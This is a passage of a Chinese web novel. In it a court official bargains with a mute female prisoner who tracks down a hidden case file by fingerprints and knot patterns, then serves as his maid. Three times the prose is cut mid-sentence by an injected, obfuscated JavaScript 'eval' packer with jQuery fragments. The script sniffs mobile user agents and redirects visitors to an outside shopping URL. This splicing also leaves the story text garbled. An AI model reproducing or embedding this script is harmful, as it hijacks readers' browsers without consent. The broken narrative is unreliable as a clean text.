贺兰珩站身,缓步走到她面前,影子沉沉覆在她身上。
“十年前,御史大夫陈澍通敌吐蕃诬陷陇右节度使,被斩于西市,十年后,一本欲图给他翻案的谶书横空出世。”
“巧的是,”他唇角勾了一抹讥诮,“谶书案中竟有一名案犯,与罪臣陈澍的夫人同姓。”
“季晚凝,你与兰陵季氏有何关系?”
季晚凝呼吸倏而一滞,十指蜷起,攥紧了衣角。
贺兰珩的目光一瞬不瞬地注在她脸上,描摹着她的惊惧。
她淡樱色的唇愈发苍白,手里的衣角一分分皱起,眸光随着不停颤动的眼睫凌乱地闪烁。
相比之前的从容镇定,这一次显然慌了神。
季晚凝仿佛被钉在了原地,既没点头也没摇头,如同泥人。
时间也随之凝滞了,半晌后,贺兰珩蹲了下来,单膝着地平视着她。
四目之间相距不到一足,季晚凝轻轻咬住了唇。
烛光将他棱角分明的脸笼上了一层纱,贺兰珩收敛了眼中的锋芒,添了几分柔和:“我之所以知道,是因为陈澍和季氏夫妇与我贺兰氏是故交,你若出自兰陵季氏,本官不会坐视不理。”
季晚望进他深隽如墨的双眸。
“你可以信任我,我许诺帮你免于刑罚,护你离开长安,这里太过危险,不宜久留。”
他的声音温醇低缓,莫名有一种令人信赖的力量,又如一张细密精巧的蛛网,在耐心等候猎物上钩。
季晚凝羽睫轻颤,垂下了眼睑。
信任二字,何其之重,放眼世间,能让她信任的人不过一二。
故交?
哪怕是亲缘,也不堪一击。
她眸光黯淡下来,泠泠如霜。
遥想十年前,父亲下狱后,曾经宾客如云的府邸一夜之间门可罗雀,往日的友人路过宅门都绕道而行,连族人也避之不及。
陈府的牌匾上被百姓扔得都是腐烂发臭的鸡蛋和菜叶。当时家里一片悲凉萧条,连下人都跑得没剩几个了。
她和阿兄阿姐围在母亲膝下,为她擦拭泪水,眼睁睁看着官差将府里搜得狼藉不堪,无能为力。
满门俱灭之后,她侥幸活了下来,几年前曾只身去兰陵季氏找过母亲的娘家,想求得一方庇护,却被府中下人像赶瘟神一样赶了出来,甚至报官抓捕她。
贺兰珩望着她冷淡异常的神情,默了少顷,眉目温和地试探道:“你是陈夫人的侄女?兰陵季氏目前安然无恙,你可以放心地告诉我。”
季晚凝缓缓抬眸,摇了摇头。
贺兰珩沉吟片刻:“那么,你是季氏的家生婢?”
季晚凝默然,没有回应。
贺兰珩心想他应该是猜中了,县主说季氏是书画世家,那么家丁识字也就不是什么稀奇事了。
“你为何要隐瞒自己的身份,逃奴?”
这一次,季晚凝点了下头,这样一个身份倒是可以圆她的谎,又免于更多的麻烦。
她攥紧的手稍稍松开,拾起放在地上的笔,润墨写道:“家父本为季氏陪嫁书童,陈家覆灭之际,家父携我逃至曹州,后混入流民来到润州,脱去奴籍,成为农户。”
贺兰珩思忖,前些年曹州闹灾,确有大批流民涌入润州一带,民间私契盛行,官府为安置流民给他们改籍换户。
他重新披上了大理卿的身份,眸色褪去了温度:“你似乎早就知道那谶书与陈澍案有关,方才我提起时你毫无惊讶之色,而我用了两日时间才查出来。”
季晚凝掐了掐笔杆,写道:“君多心了,我只是喜怒不形于色。”
贺兰珩轻嗤一声,被她气笑了。
他失去了与这个小骗子周旋的耐心,不想再在她身上浪费工夫了。
他理袍起身,语气沉而厉:“既如此,你现在便回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164446|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大理狱,十日后行刑,后会无期。”
冷漠的字眼砸在季晚凝心头,如坠冰窟。
言讫,贺兰珩用笏板抚平衣裾,看也不看她,拂袖朝门口走去。
不出两步,袖口突然被一只纤柔素手拽住了。
他长眉一蹙,甩开季晚凝的手,正欲抬步,忽又想起她是哑巴,回头俯睨着她。
季晚凝眸光闪亮,赶忙伏在地上执笔疾书,洋洋洒洒写了几行字。
贺兰珩垂眸看着她的字,读罢,随即朝书架望过去。
架上摆着一只漆木盒,上面挂着一把铜锁。
纸上写着,那木盒和锁被人动过。
他清楚记得前天晚上他将供状锁进盒里,然后带季晚凝进殿中问话,这两日他没再动过这个盒子,也没见旁人靠近过。
她怎能确定盒子动没动过,就算真的动过,又如何证明?
一个惯会说谎的囚犯,不过是在蛊惑他罢了。
季晚凝见他眉宇间凝聚着疑色,又挥笔写道:“我观君素好将物什放置在书架边缘半寸处,而今木匣向左移了两分,锁亦移了半分。”
她第一次来官廨的时候,就注意到书架上陈列的书帙都整齐地置于同一条水平线上,其他的摆件则均离书架外沿半寸。
另外他案头所放的砚台、笔架、案牍,甚至他随手搁置的笏板,离桌沿通常是一寸,或许连他自己都没意识到这个习惯。
这个细节说明,木盒不是他动的。
贺兰珩看了她一眼,将信将疑地取来一把铜尺,走到书架前将摆在上面的器物挨个测量了一遍,与她说的竟然分毫不差。
贺兰珩打小过目成诵,四岁便能背上百首诗,不过他的记忆力仅对于文字而言。
他却没见过谁能将物品的位置记得如此精准,这等目力堪称神赐。
他从腰间的锦囊中掏出钥匙,正要打开锁头查看,袖口又被拽住了。
季晚凝冲他摇摇头,随后写道:“君可有帕子?”
贺兰珩犹豫了一下,从怀中掏出一方锦帕,季晚凝起身接过帕子,走过去托起那枚铜锁。
她看清了锁上赫然覆着一枚大大的指印,并且显然不是贺兰珩的。
她拿起旁边烛台上蜡烛秉着,向他指了指上面的纹路,红彤彤的烛光映入她翦水般的眸子,闪着一簇光。
贺兰珩看了良久,不解其意,将锦帕拿回来掸了掸,揣回怀中,提眉道:“何意?”
季晚凝转身返回去写道:“锁上有指印,我能辨其形纹,君若不信可将我一试。”
贺兰珩道:“你且说说,这指印是胖是瘦?”
季晚凝就靠这点机密保身了,当然不会轻易告诉他。
她一笔一划写道:“我不想死。”
贺兰珩眉目微沉,冷声道:“且不论你所言真伪,就算你告诉我是谁动的,这点筹码也不足以与本官做交易。”
季晚凝眼底那簇小火苗瞬间黯了下去,垂下眼。
他低头用钥匙打开了铜锁,供状还好好地躺在里面,看来此人没能将锁打开。
他侧过身看向她,道:“近日大理寺丢了册卷宗,你若能助本官找到,本官便将你的名字从狱牒上划掉。”
季晚凝再次抬起眼,眸光奕奕。
8. 交易
贺兰珩站在卷帙浩繁的案牍库里,书架上的卷宗按时间排序,几本一组,分放在一个个书椟里。
他找到了弘正八年的书椟,此前他和卫庚已经查找过,里面唯独少了陈澍案的那一卷。
季晚凝提灯上前,架子上有翻动过的痕迹,地上鞋印沓杂。
书椟内里是未上漆的木面,她看不出指印,外表则是漆面,有几种指印叠覆在一起,有大有小,有粗有细。
她弯腰奏近,仔细拆分辨别那些纹路,片刻后,找到了一枚与铜锁上一模一样的的指印。这指印因为沁油多所以很好辨认,短且粗,应该是个肥胖爱出汗之人。
季晚凝转身走到桌案前,寻来纸墨,把这个发现告诉贺兰珩。
贺兰珩心念电转,瞬时就锁定了一个人。
“走,去西配殿。”
西配殿是少卿杨司浦的官廨。
季晚凝跟上他的脚步,站在门口看着。
贺兰珩在房中搜索了一会儿,发现了一个密卷匣,这是一只六棱机关盒。他拿起来左右旋转,机括发出了咔哒一声脆响。
盒子打开了,里面却空空如也。
不在官廨,莫非他带回了府邸?
贺兰珩复原了机关盒,若杨司浦的目的是不想让自己看到陈澍案的卷宗,那么他没必要带回家,他所藏匿的地方必须能将自己撇清。
他抬步走出官廨,又回到了案牍库。
每本卷宗都以书帙封装,也就是布袋子,外面标注着题签方便查找。
贺兰珩摩挲着手指骨节道:“此贼只需调换书帙,便能轻易地让卷宗隐没在书海里。”
这么一说季晚凝明白了他为什么又折返回来。
他微微侧首:“你能通过指印找到他都动过哪些书椟或吗?”
季晚凝望着库房里的十几个樟木书架,这里有上百的书椟、上千的卷帙。
因为近期被大理寺官员翻过,每个书椟上都有凌乱的痕迹,她很难挨个去辨别。
见她摇头,贺兰珩只好亲自找,明日就是敕令的最后一天了,等不到属下上值后让他们来找,不让季晚凝帮忙是因为不想让她看卷宗。
他走进书丛,打开书椟,一一查看后再放回去。
季晚凝立在一旁沉思,书帙的打结方式一般是绕三圈再将绳子穿过去,方才她在西配殿里时,观察到书架上的卷轴虽然也是这种打法。
但三圈绳子之间的间隔、绳子留出的长短以及打结的松紧,每个人都有不同的习惯。
或许可以根据这细微的差异来快速找到卷宗。
贺兰珩检查完了一排书架,走到下一排时,余光掠过空隙,看见季晚凝在不远处的书架间徘徊,过了一会儿移到自己所在的这排。
他眉心微折,低头继续查看,时不时掀眸看她。
他打开下一个书椟,正要从里面取出第一卷时,忽然从对面伸过来一只纤白如玉的手,拾起了其中一卷卷帙。
她并没有拆开,而是直接递给了他。
贺兰珩迟疑了一下,稍作思忖,才想到原来她是靠打结的方式一眼找到的。
签帙上写着年份和案名,他将卷宗从里面抽出来,果然与签帙所写对应不上,却不是陈澍案的。
接下来季晚凝又找到两卷,贺兰珩拆开来查看,其中一卷是陈澍案的,另一卷则是两年前一个不相关的案子,办案官员是杨司浦。
第一个发现的那卷应该杨司浦用来混淆视听的。
季晚凝因为看过题签,知道他手里其中一卷是父亲的卷宗,此时心里砰砰直跳,很想凑上前偷瞄一眼,但害怕露出马脚,忍住了,装作若无其事的样子。
贺兰珩余光扫过她,将两册卷宗一齐放入怀中,走出了案牍库。
季晚凝跟着他回到官廨,进殿后既不跪也不坐,站在一边等他发话放自己离开。
贺兰珩不疾不徐地啜了口温茶,一抬眼,正对上她的双眸,如明珠生辉,殷切地望着自己。
他放下茶瓯道:“死罪可免,活罪难逃。”
季晚凝杏眼圆睁,他这话的意思是要耍赖吗?
先前这老狐狸就骗过自己一次,她怎么会这么蠢又上了他的当!大理寺里就没一个信守承诺的人。
贺兰珩看着她,沉声道:“我现在放你出去,就像将一只受了伤的鹿放回森林,在虎狼环伺中活不了多久的。”
季晚凝羽睫轻眨,揣摩着他这句话的意思。
通过那个肥胖官员的官廨来看,此人官职不低,有可能是少卿之类的。他不仅藏起了父亲的卷宗,还试图撬开贺兰珩的公文匣,阻碍他办案。
不知里面有何隐情,长安的浑水确实不浅。
贺兰珩默了少顷,用不容商榷的语气道:“往后你就留在后衙,做本官的婢女,有需要时助我查案。户籍不用改,只为了遮掩身份,月钱也不会少你的。待本官晋升之后,便放你自由。”
季晚凝愣了一下,这是不肯放她走的意思了?
她掐了下指尖,她的命攥在他手里,交易条件也不得不听从他的。
她将地上的纸砚移到案几上,坐下来,执笔的手悬在半空片刻,而后落笔:“两年。”
贺兰珩眼尾挑起一丝不屑:“怎么,你是赌本官两年内擢升不了?”
季晚凝毫不迟疑地微微颔首,他的自信是贺兰家祖传的吗?
贺兰珩薄唇轻勾:“好,我答应你。”
说罢拿起镇纸铺开一张宣纸,从象牙笔格上取过一支紫毫,在砚台上润了润,墨早已干了。
他抬首看向季晚凝,“过来研墨。”
季晚凝这才意识到自己现在已经是他的婢女了,于是起身走到案边,将水盂里的清水滴在砚面上,用墨锭匀好墨。
贺兰珩润了笔,拟定契书后二人签字画押。
之后,他取来季晚凝的供状,走到烛台边,两只修长的手指夹着纸悬在蜡烛上方,火苗打了个旋,将罪证一燃而尽。
……
翌日一大早,季晚凝在东义安排下搬进了后衙南侧的下人房。
东义终于不用再日夜看守她,开心极了,昨日看贺兰珩那阴沉的气场,还以为季晚凝就此有去无回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164447|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
他偷偷问北苍她怎么一夜之间脱下囚衣,成了郎君的婢女,但北苍只字不吐。
季晚凝自行打扫了房间,下人房虽狭小,但比耳房强上不少。
过了会儿东义又敲门进来,抱着个木匣道:“这些是郎君给你备的。”
季晚凝打开木匣,里面装的是文房四宝,她从中拿出一个镇纸,造型是一只白釉兔,玲珑可爱,她放在手心把玩了片刻,摆在桌案上。
收拾完后,季晚凝在下人用的净房里冲了个澡,换上干净的衣裳,一开门,就见掌事的孙嬷嬷正在等她。
孙嬷嬷身量不高,却透着股精干,不苟言笑,手里拿着水桶和扫帚。
“收拾利索了?”孙嬷嬷简练道,“你以后负责洒扫院落,扫完之后记得把树叶埋进坑里。”
季晚凝点点头,接过了水桶和扫帚。
后衙不大,下人也不多,贺兰珩只有在公务忙的时候才会宿在这里。
孙嬷嬷看着她干了一会儿活,见没什么可嘱咐的便走了。
季晚凝一边扫,一边提着水桶,扫到凉亭的时候,看见满地不知谁扔的的瓜子皮。
抬头一看,一个女郎正斜倚在栏杆上,捧着个油纸包,一边磕着瓜子,一边将瓜子仁丢给落在亭中的雀鸟。
女郎穿红戴绿,肩披宝花帔子,头上插着鸳鸯梳背,不像下人。
“你就是新来的那个晚凝?”她将胳膊搭在栏杆上问道。
季晚凝冲她含笑点头,听她的声音有些熟悉,想到了在耳房外跟东义说话的那个女郎,好像叫春彤。
春彤是孙嬷嬷的女儿,平日倚仗着母亲,在贺兰珩院里的年轻婢子中是最威望的。
大齐规定衣服颜色应根据身份而定,不可逾矩,但在大户人家里,只要主人赏赐,有头脸的下人也可以穿得光鲜。
她上下打量了季晚凝一番,见她穿着半旧的浅青衫子和烟色梅花襦裙,未施朱粉却丝毫不掩韶美,柳眉带烟,樱唇写朱。
“你多大了?哪里人?你是三郎君买回来的,还是旁人送来的?”春彤一连问了好几个问题。
季晚凝把水桶放在地上,向她比划了一个数字,告诉她自己十七岁。
春彤抿唇一乐,如阿娘所说她真是个哑巴,也不知打哪来的,看衣着应该不是县主塞进郎君房里的,可郎君留个哑巴做什么。
季晚凝低下头将瓜子皮扫出亭子,正准备出去时又被春彤叫住了:“我看了你一上午,你干活也太慢了,走一步就洒一次水,这才扫了一半。”
她磕了口瓜子顺手把皮丢在地上,道:“我们府上的仆妇都是先洒再扫,那样快,不然猴年马月能扫完?”
季晚凝一步一洒是为了避免土与水胶着在一起,踩上去一脚泥。况且后衙并不大,她一个人倒也忙得过来。
季晚凝没法跟她解释,只笑了笑转过身要走。
“我这是好心教你。”春彤站起身,把吃完的油纸包扔在季晚凝的扫帚前,掸掸手走出了凉亭。
季晚凝看了她一眼,回头见一地狼藉,只得重新扫过。
9. 窝藏
大理狱的地牢,终年不见天日。
冯砚真四肢被绑在刑架上,脊背早已被酷刑折磨得直不起来了,佝偻着身子,赤脚踩在干涸发黑的血渍中。
昏暗死寂的牢里响起沉稳的脚步声,贺兰珩脚踏乌皮六合靴走了进来。
他掀开铜炉盖,将沉水香丸投进去引燃,这香是他让制香师特调的,不仅有安神助眠的效用,还可以令人神志松弛,瓦解心防,更容易吐露真话。
青烟缭绕中,他负手立在冯砚真面前,沉声道:“今日是时限的最后一日,希望你已经想清楚了,是谁指使的你。”
这冯掌柜是个十几年前来京赶考的老举子,因出身寒微无人举荐,未获官职。起初靠代笔书信、写写话本聊以为生,后来他彻底断了仕途念想,开了间书肆。
此人无妻无子,孑然一身,像个球似的,连个把柄都握不到,除了用刑外几乎无计可施。
冯砚真垂首吊在架上,气若游丝,执拗道:“我还是那句话,既然天意握住了我的笔杆,谶语的齿轮已然滚动,那么我欣然赴死。”
贺兰珩冷漠地凝视了他少顷,缓缓抚着指节,无波无澜道:“好,本官成全你。”
冯砚真喉咙滚动,声音苍哑而艰涩:“我只有一事相求,给那些不知情的抄工一条活路,他们大多是清贫的学子,不过是为了几枚铜钱糊口。”
“既然你雇用了他们,应当早就想到后果。”贺兰珩语气清凛平淡,“况且此案还需圣裁。”
冯砚真干裂的嘴唇颤了颤,脑袋像断了弦的傀儡,垂得更低,默然不语。
贺兰珩不再多言,袍袖一振,旋身朝地牢外走去。
既然他执意背锅,那这锅便让他背。
贺兰珩折回官廨,将从证物房取来的两件关键物证摊开,铺放案上。
一件是陇右布防图的拓本,一件是陈澍通敌的信函,经对比与陈澍供状上的笔迹相符。
他继而展开陈澍的卷宗,供词与事实和物证相互佐证,既无刑讯逼供的痕迹,也找不出半分可翻案的破绽。
正如卫庚先前所言,是桩板上钉钉的铁案。
当视线落至卷宗末尾处时,贺兰珩眸光微凝,陈澍斩首那日,正是弘正八年六月廿一。
“六月廿一,雪袭含元;獬豸独角,破晓玄机。”
这是《长安异闻录》中的第三则谶言。
原来如此。
“针”是打算来年在陈澍的忌日揭晓所谓真相,此人倒是颇具耐心,更是有把握在近一年的时间里不会被抓住。
贺兰珩唇角勾起一抹冷意,他必须在“针”下次行动之前,将后两则谶言扼杀在襁褓里,索性留给他的时间尚且充裕。
他将卷宗合拢收好,提起紫毫,亲自撰写了谶书案的结案狱牒。
写完后他命书吏传少卿、大理丞、大理正等官员进殿,坐成了两排,依次传阅狱牒后署了名,只需再送到刑部复核即可。
然而传到杨司浦这里时,他拈着长眉,肃容道:“贺兰卿,人犯少了一个吧?明明有一十九人,这上面少了一名女囚。”
贺兰珩抬眸迎上他质疑的目光,好整以暇道:“杨少卿看清楚,总计一十八人,何来少了一说。”
杨司浦眉峰陡然竖起,厉声道:“贺兰卿这是要公然包庇案犯不成?!那日你明明……”
他正想趁机质问季晚凝从大理狱消失后下落不明的事由,却被卫庚截住了话头:“杨少卿,确实只有一十八人,那女子是食肆的帮工,不巧往书肆里送过吃食而已,后查实她与此案无干系,日前便已开释了。”
杨司浦闻言太阳穴忽地一跳,环看左右的司直和平事,都一副莫名奇妙的神情,好像他在无理取闹一样。
他嘴角抽搐了一下,将狱牒往前一推:“此案关节重大,下官对贺兰卿的决断尚有疑虑,这个字恕我不能签。”
贺兰珩目光掠过他发青的脸,嘴角挂着若有似无的笑:“好,杨少卿想什么时候签都行,但是别忘了圣人敕令的时限。”
……
一上午的光景,季晚凝借着洒扫已经把后衙的格局摸清了。
除了正房、东西厢房、茶室和书房,就只有库房、地窖、下人房、几间耳房和一个厨房。
这个东院专属大理卿,西院的简舍则宿着其他官员,互不相通,角门和通往前衙的大门都是锁着的,没有钥匙出不去。
日头移至中天,秋阳正好,西市已经开市了。
春彤背上斜囊准备出去采买,一面往角门走,一面从荷包里掏出钥匙,就见季晚凝含着笑意地朝她走了过来。
季晚凝眉眼温和地抬手指了指她肩上的羊皮斜囊,示意自己可以帮她拿。
春彤先是愣了下,随即看穿了她的意图,侧身避开道:“阿娘特意嘱咐过,你不能出去,院子扫完了吗?扫完了就去把我放在浆洗房里的衣服洗了。”
季晚凝收回了手,心里了然,贺兰珩果然防着她,不让她出后衙。不过她并非想逃跑,而是为了去取她藏在食肆里的香球。
那枚香球是本为父亲所有,母亲在临死前塞给了她,这是父母留给她唯一的遗物,十年来从未离身。
后来季晚凝才逐渐明白,它一定不仅仅是个香薰之物。
先前贺兰珩问她香球在哪,说明尚未没有被官差搜到,这是个好消息,然而她也不能耽搁太久,藏在核桃里终究不安全,不知哪日就会被掌柜发现。
春彤瞥了她一眼,转身出了角门,铜锁从外头落下的声音隐约传来。
季晚凝仰头望了望那高耸的灰砖墙,大雁掠过头顶,看来这墙不是那么容易越过去的。
她拿起扫帚,低头将落叶扫进刚铲好的坑中。
约莫过了一个半时辰,春彤从西市回来了,把刚买的瓜果时蔬交给季晚凝,道:“郎君今日不宿在后衙,我们也得随他回府,你自己生火做饭吃,老老实实地别乱跑,听见没有?”
季晚凝顺从地点了点头。
傍晚,下人们陆续从角门出去了。通常贺兰珩上值时会带十几个仆从随行马车,其中一半是侍卫。
除了北苍伴随贺兰珩在身侧之外,其他人都在后衙里待命,贺兰珩住后衙,他们也住后衙,贺兰珩回府,他们也回府。
此时偌大的院子只剩下季晚凝一个人,她来到厨房给自己做了碗素冷淘,又简单炒了两碟菜。
吃过饭后,她在院里转了一圈,除了下人房、耳房、茶室和厨房,其他门也是锁着的。
她停在孙嬷嬷和春彤的房门前,轻轻一推,门开了。
走进屋里,这间房比她的要宽敞得多,里外有两间,除了床之外还有坐榻、屏风和香几。
贺兰珩从小是由孙嬷嬷带大的,对她自然格外照拂,也难怪春彤的衣食用度堪比小家碧玉。
季晚凝小心翼翼地在房里翻找了一遍,并没发现有钥匙,想必她们都贴身携带,不会留在这里。
她悄然退了出去,掩好房门,心底不禁有些失落,得再想想旁的法子。
……
秋风飒飒,吹落一地金黄。
申时,一辆牛车从大理寺驶出,碾着满地的槐树叶穿过了顺义门。
行至永兴坊时,调转方向往坊门里走去。
这时,一匹骏马四蹄生风飞驰而至,马上之人手挽缰绳紧紧一勒,拦在了牛车面前。
车夫暗啐一口,扬鞭正要破口大骂,定睛一瞧,来者金鞍玉勒,紫衣金绶,立即刹住了车。
那骏马昂首踏蹄,在车厢的一侧停下来,贺兰珩用鞭梢撩开了车幔。
车中坐着的正是杨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164448|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司浦。
“怎么没听说杨少卿搬家了?”贺兰珩凤眸微扬,睥睨着他。
杨司浦眉毛一横:“贺兰卿有何贵干?”
贺兰珩抬头瞄了眼坊牌:“杨少卿今日这么有兴致去吴尚书家用膳?”
吴尚书指的是刑部尚书。
杨司浦额上青筋绷紧,冷嗤一声,既然他捅破了这层窗户纸,还怕他作甚。
“贺兰卿既然知道,那么就请让开。”
贺兰珩不慌不忙地从袖中抽出一卷卷宗扔给他。
“这个两年前的案子,可是杨少卿审理的?”
“是又如何?”杨司浦脖子僵直地转过去不看他。
“据录事交待,案犯从京兆府移交大理寺时,人证物证俱全,可到了你手里,连赎铜都没缴人就给放走了。”
杨司浦面色骤沉,嘴角紧抿,如同被针线缝住了一样。
“杨少卿回家去吧,在官场上睁一只闭一只眼的道理你应当最熟稔。”贺兰珩眸光微冷道,“明日记得把狱牒签了。”
杨司浦心里攒着火,滚烫的鼻息像火球一样喷在人中上,他一把将车幔拉上了。
自罗逊伏诛后,杨司浦便觉着大理卿之位已是囊中之物,有刑部尚书举荐,十拿九稳。
他时刻准备着绯袍换紫袍,银鱼袋换金鱼袋,却没料到竟然被年纪轻轻的贺兰珩捷足先登,他恨得牙根痒。
不仅抢了他的仕途,贺兰珩一到任就大刀阔斧地肃清了罗逊和他的亲信,换上了自己人。
杨司浦忍气吞声数月,好不容易抓到这个机会,先是藏起了陈澍的卷宗妨碍他查案,又通过季晚凝抓住了他的把柄,正赶着去找刑部尚书告状,请他撑腰。
结果却半路反被将了一军,他是怎么发现了他藏的卷宗?现在杨司浦喉头有种被痰卡住了的淤堵感。
“掉头!”
杨司浦声若闷雷地低喝一声,车夫抽响了鞭子。
贺兰珩骑在马上,看着牛车缓缓驶远,随即牵起缰绳,打马扬长而去。
……
翌日,杨司浦在狱牒上签了字,贺兰珩面圣奏报案情,天子传召几位宰相前来商议,最后依大理寺的判决下了诏令,谶书案终于告一段落。
一连几日贺兰珩都没回过后衙,直到这日北苍来告诉东义今日郎君留宿大理寺,让他通报府里送晡食来。
孙嬷嬷刚好也在,便说道:“府里送来的比不得现做的有锅气儿,我给郎君做吧。”
之前因为后衙缺好厨子和食材,所以都是蓬莱县主张罗府里的厨子做好送过来。但孙嬷嬷坚持认为哪怕饭菜简单些,也是现做的更好。
于是她遣春彤去买菜和肉,又从库房取了胡椒,从冰窖里拿出一只驼蹄来,这是前几日别人送给贺兰珩的,价值不菲,城中只有权贵才能吃到。
春彤买了牛羊肉和红鲤鱼回来,都是郎君爱吃的。可一回到房中,看见孙嬷嬷突然犯了胃疾,卧在床上起不来。
“我这老毛病一入了秋又犯了,春彤你去给郎君做饭吧,再过半个时辰他就下值了。”孙嬷嬷虚弱地对女儿道。
春彤取了手炉给她捂着,听她让自己做饭有些不大乐意。
她虽然打小就爱做饭,跟着府里一个从宫中出来的老御厨偷学手艺,可越大她越不愿意往厨房里凑了,沾一身油烟味没法在郎君跟前伺候。
不能在郎君跟前伺候,就意味着很难再讨到赏赐,意味着会失去地位。
“不然试试晚凝的手艺吧,”春彤提议道,“其他那几个做饭都不大行。”
孙嬷嬷蹙眉:“那怎么成?不知道她做得怎么样哪里敢用?”
春彤不以为然:“我在一旁教她就好了,做饭有什么难的。”
孙嬷嬷实在疼得难受,争不过就随她去了。
10. 哑症
春彤推门走进厨房里,见季晚凝正在按她的嘱咐洗菜切肉、收拾活鱼,她走上前问:“你会做饭吗?”
季晚凝一边手提着尚在挣扎的鱼尾放血,一边点了点头。
春彤连忙缩着下巴躲开,道:“我阿娘犯胃疾了,做饭的差事交给捏脸。蔬菜清炒,牛肉火炙,红鲤生脍,驼蹄做成羹,记住了没有?”
前几道不难,但这驼蹄羹季晚凝从来没吃过更没做过,刚想拒绝,春彤就嫌厨房里的腥味太重,跑出去了。
既然被赶鸭子上架,也只能硬着头皮做了。
一个时辰后,东义来喊季晚凝传膳,季晚凝熄灭炉子,拿帕子擦了擦额头的细汗,把三菜一羹端进厅堂,摆了一桌子,看着挺像那么回事的。
贺兰珩更完衣走进厅堂,穿着一袭湛青锦袍,云头锦履,玉冠束发,没穿官服亦是俊逸矜贵。
他的目光掠过季晚凝,撩袍坐了下来。
季晚凝站在一边也不知是该退出去还是留下侍菜。
“你出去吧,这里我来就可以。”
春彤把季晚凝打发走了,走到在贺兰珩身边,熟练地夹起一片他最爱吃的鲙红鲤,放在盘中。
贺兰珩拾起玉箸送入口中,时下正是鲤鱼丰美的季节,加点姜蒜调味生吃,鲜嫩可口。
尝到清炒菠菜和牛炙时,他咀嚼的动作慢了下来,疏朗的眉宇微微敛起。
春彤并未尝过味,注意到他表情有些不对劲,不安地问道:“郎君,可是不合口?”
见他没说话,春彤又盛了一碗驼蹄羹道:“郎君再尝尝这道。”
贺兰珩堪堪喝了一口,旋即以拳抵唇咳了几声,嗓音略带沙哑道:“今日的饭是孙嬷嬷做的?”
春彤急忙摆手:“阿娘犯了胃疾,是新来的晚凝做的。”
贺兰珩眉心微蹙,放下碗,用锦帕擦拭了下唇角,起身走出厅堂,往书房去了。
春彤耷拉着脸,把膳后的盘子端回了厨房里。
“郎君说让你下回别做饭了。”
季晚凝接过盘子,见除了鱼脍吃光了以外,其他的菜都剩了很多,她做了一个时辰,却不到一刻钟就端了回来。
她不解地拿木箸尝了尝,炒菜和肉都是她平日常吃的味道,没觉出有什么不妥。
春彤也夹了一口,嫌弃道:“太淡了,盐放少了,你到底会不会做饭?”
是了,季晚凝早已忘记珍馐美馔是什么味道了,何况盐价逐年高涨,清贫人家做饭舍不得放盐,她已经习惯了。
儿时她也曾锦衣玉食,可一朝灭门,落魄不堪。
父亲斩首,家人坠崖,她侥幸逃出生天,七岁的她在山里走了三天三夜,奄奄一息时被一家猎户捡到,夫妇二人膝下无子,便收养了她。
虽说养父母待她不差,但季晚凝总担心哪日他们有了自己的孩子,就会把她卖掉。于是她殷勤地帮衬家务,什么都会一点。
但论起下厨,她会的花样不多。大户人家里的膳食都很讲究,一般不会让一个新来的婢子做饭。
想起那日贺兰珩给她吃的透花糍,软糯香甜,还有枸杞羹熬得也十分浓稠,咸淡适口。
这种精巧费时的佳肴她更不会做了。
春彤又端起驼蹄羹尝了一口,立马咣地放下,呛得嗓子火辣辣的。
她流着眼泪道:“你这是搁了多少胡椒?旁的也就罢了,你知道这驼蹄有多贵重吗?好好的一锅就这么浪费了。”
季晚凝忙舀了碗清水递给她。
胡椒是奢侈之物,她从来没吃过,不知道放多少适量,因着从前听母亲说此物可以驱寒,她觉得入秋后应该暖暖肠胃,于是就多放了些。
春彤咕咚咕咚吞下一碗水,没好气道:“罢了,下回还是我做吧,你给我打下手。”
说罢转身出去了。
季晚凝留在厨房收拾净碗筷,之后回到房里。
得罪春彤她倒不怕,关键是她手里捏着钥匙。
思及此,她坐在桌案边铺开纸,思索了一会儿后提起笔写了张字条。
次日,春彤正和东义还有其他几个婢女一起磕着瓜子闲聊,季晚凝走上前把那张字条递给了她。
“这是什么?”春彤一看纸上那密密麻麻的字头就疼。
东义凑过来瞧了瞧,是给孙嬷嬷的药方,列着川乌、草乌、麻黄、当归、苍术等等药材。
他疑惑地问:“这药方可信吗?”
季晚凝颔首。
这是养母常用的方子,不是用来治病的,是用来驱寒的。
山中天气冷,她常将几味药材熬制后脱水,包在麻布里,敷在肚子上全身暖乎乎的,多少可以缓解胃痛。
“你还识字?”春彤吃惊地看着季晚凝,更加好奇这小娘子是什么来头。
季晚凝笑了笑转身扫地去了,春彤又问东义:“她是郎君从哪带回来的?”
东义只知道季晚凝之前是大理狱的女囚,但贺兰珩让他把嘴缝死,再者说下人间打听郎君的私事,会挨罚的。
